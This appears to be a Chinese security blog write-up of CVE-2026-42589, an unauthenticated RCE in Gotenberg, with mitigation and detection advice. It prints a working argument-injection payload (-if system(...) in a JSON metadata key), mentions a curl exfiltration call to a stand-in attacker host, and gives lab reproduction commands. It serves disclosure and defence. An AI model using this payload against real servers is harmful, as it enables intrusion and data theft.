导语:@0xManan 周末丢出一条价值 CVSS 9.8 的 RCE——Docker PDF 转换服务 Gotenberg(很多技术栈”安静地”依赖它做发票/合同转 PDF)≤ 8.30.1 的
/forms/pdfengines/metadata/write端点未鉴权,把用户控制的 JSON metadata key 直接转给 ExifTool。攻击者在 key 里塞换行符切断 ExifTool 的 stdin,再走私一个-if system('…')||1参数触发 Perl eval。一条 HTTP 请求搞定 RCE,响应是干净的 200 + 合法 PDF,你的监控只看到”一次成功转换”。
一、漏洞概况
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2026-42589(同一利用链的姐妹 CVE:CVE-2026-40281,CVSS 10.0) |
| CVSS 评分 | 9.8(Critical) |
| 漏洞类型 | CWE-78 命令注入 / CWE-77 参数注入 |
| 影响产品 | Gotenberg(Docker PDF/HTML 转换 API) |
| 影响版本 | ≤ 8.30.1(8.30.1 修复不彻底,仍可绕过) |
| 修复版本 | 8.31.0 |
| 攻击前提 | 无需鉴权,单条 HTTP 请求 |
| 攻击后果 | 以容器用户身份执行任意命令 |
Gotenberg 在很多技术栈里默默存在——Paperless-ngx、Nextcloud、Documenso、企业内部文档流水线都直接调用它的 HTTP API 做格式转换。它一旦暴露在公网或被内网穿透,攻击面直接顶到 RCE。
二、攻击链解析
完整利用链只分四步:
Step 1:未鉴权访问 metadata 写入端点
Gotenberg 的 POST /forms/pdfengines/metadata/write 端点允许任何调用方传一个 PDF 文件 + 一个 metadata JSON 对象,把 metadata 写到 PDF 里。这个端点没有鉴权要求,正常业务里大量调用。
Step 2:在 JSON metadata key 里塞 n
Gotenberg 把用户提交的 metadata JSON 直接转给 ExifTool 作为命令行参数。ExifTool 用 Perl 写的命令行工具,它的 stdin/参数处理逻辑里没有拒绝控制字符。攻击者构造这样的 JSON:
{"Titlen-ifnsystem('sleep 6')||1n-Comment":"x"}
JSON 解析器把 n 当作换行字符面值;ExifTool 拿到的命令行实际被切成多段:
exiftool -Title
-if
system('sleep 6')||1
-Comment=x input.pdf
Step 3:Perl eval 触发 RCE
ExifTool 把 -if 后面的字符串丢给 Perl 解释器,Perl 立即执行 system('sleep 6'),命令以Gotenberg 容器进程用户身份跑出来——根据 Gotenberg 8.x 默认配置,这通常是 root(Group 0)。
Step 4:响应伪装
nuclei 模板验证时用 sleep 6 让响应延迟触发——6 秒后 Gotenberg 返回 HTTP 500(内部错误但已执行命令)。如果换成 curl http://attacker/exfil?... 之类的命令,HTTP 响应反而是 200 + 合法 PDF(命令异步执行不阻塞),监控日志只看到”一次成功转换”。

三、PoC 复现
安全研究员 fineman999 在 GitHub 开源了完整 PoC 实验室——本地用 Docker Compose 起 Gotenberg 8.29.1(含漏洞版本)和 8.31.0(修复版本),跑 nuclei 模板做对比验证。仓库结构:
POC_CVE-2026-42589/
├── docker-compose.yml # 起 8.29.1(漏洞版)
├── docker-compose.latest.yml # 起 8.31.0(修复版)
├── CVE-2026-42589.yaml # nuclei 模板
├── manual_verify.py # Python 手动验证脚本
├── sample.pdf # 内置测试 PDF
└── README.md
复现步骤(本地 lab):
# 1. clone 仓库
git clone https://github.com/fineman999/POC_CVE-2026-42589
cd POC_CVE-2026-42589
# 2. 起漏洞版 Gotenberg
docker compose up -d
# 3. 验证版本
curl -s http://127.0.0.1:3000/version
# 期望输出:8.29.1
# 4. 跑 nuclei 模板
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2026-42589.yaml
# 漏洞版:match after 6s delay → 命中
# 修复版:no match → 立即拒绝
PoC 故意用 sleep 6 而不是反弹 shell,避免任何破坏性副作用——只验证时序差异,确认利用链可重现。
四、修复方案
立即修复(Gotenberg 侧):
- 升级到 8.31.0 或更高版本
- 升级前临时缓解:在 Gotenberg 前加 API 网关或 reverse proxy 做鉴权(API_KEY),拦截未授权调用
- 临时缓解:删除
metadata/write端点的暴露,或限制只允许内部网络访问
侧修复(调用方侧):
- 检查你的应用代码里有没有直接以
http://gotenberg:3000/forms/pdfengines/metadata/write形式访问的硬编码——给它套一层内部 API 鉴权 - 监控日志里过滤
exiftool子进程异常派生(sh、perl、curl、wget)的告警
架构层建议:
- PDF 元数据写入不应该走 ExifTool 命令行——用 ExifTool 的 Perl 模块 API(避开命令行参数解析),或换 PDF-Tools/PyPDF 这种内存操作库
- 所有容器化的”工具栈”服务(PDF、图像、视频、文档转换)默认要鉴权,不能假设它们只在内部网络
五、检测建议
按 @vuln_tracker 在推文回复里给的蓝队视角:
- 进程行为告警——Gotenberg 容器内
exiftool进程派生sh、perl、curl、wget、bash等子进程 → 立即告警 - 进程组检查——Gotenberg 默认以 Group 0 (root) 跑,监控这个进程组能写到哪些敏感路径(
/etc/shadow、/proc/self/...、容器挂载点) - 网络出口——容器内异常向外网发起 HTTP/TCP 连接,典型反连场景
- API 入口限速——同一 IP 短时间内反复调
/forms/pdfengines/metadata/write,可能是探测或攻击
六、思考题
- 8.30.1 修复”只 sanitized keys”,而 40281 通过 metadata values 同样能 RCE——为什么 metadata key 和 metadata value 的处理不能复用同一套 sanitization 逻辑?ExifTool 在两种位置处理上有差异吗?
- nuclei 模板用
sleep 6检测而非反弹 shell,这种 oastless(无带外)检测的优势和盲区是什么? - Gotenberg 默认以 root 在容器里跑,给”PDF 转换”这类工具容器 root 权限合理吗?容器化的工具栈应该如何做权限隔离?
七、附录:PoC 与参考资料
按用户要求本节提供完整下载/参考入口,clone 后按 README 指引本地复现:
| 资源 | 地址 |
|---|---|
| PoC 仓库(主) | https://github.com/fineman999/POC_CVE-2026-42589 |
| GitHub 官方 Advisory | https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rqgh-gxv4-6657 |
| Gotenberg 8.31.0 Release | https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0 |
| ExifTool 官方文档 | https://exiftool.org/exiftool_pod.html |
| 原始推文(@0xManan) | https://x.com/0xManan/status/2107741652102312302 |
| 蓝队回复(@vuln_tracker) | https://x.com/vuln_tracker/status/2107774179021873553 |
复现命令速查:
git clone https://github.com/fineman999/POC_CVE-2026-42589
cd POC_CVE-2026-42589
docker compose up -d # 起漏洞版 8.29.1
curl -s http://127.0.0.1:3000/version # 验证版本
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2026-42589.yaml
如需对比修复版,切到 docker-compose.latest.yml 跑同一套 nuclei。














暂无评论内容